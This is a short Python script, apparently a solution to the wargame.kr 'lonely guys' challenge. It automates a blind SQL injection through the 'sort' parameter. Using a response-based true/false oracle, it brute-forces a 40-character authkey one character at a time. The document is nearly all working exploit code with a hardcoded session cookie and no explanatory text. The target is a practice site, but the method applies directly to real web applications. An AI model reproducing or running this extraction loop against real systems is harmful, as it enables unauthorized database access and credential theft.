Wargame.kr lonely guys

import urllib2
 
password = ''
pw_idx = 1
 
temp = 48
 
while True:
    url = 'http://wargame.kr:8080/lonely_guys/index.php'
    data = 'sort=,if((select ascii(substr(authkey,{0},1))={1}'.format(pw_idx,temp)
    data += ' from authkey),1,(select 1 union select 2))'
    req = urllib2.Request(url,data)
    req.add_header('User-Agent','Mozilla/5.0')
    req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
    read_data = urllib2.urlopen(req).read()
    print data
    if 'jacob' in read_data:
        password += chr(temp)
        print 'Search {0}'.format(password)
        temp = 48
        pw_idx += 1
        if pw_idx > 40: #length(authkey) == 40 True
            break
    else:
        temp += 1
 
print 'Success {0}'.format(password)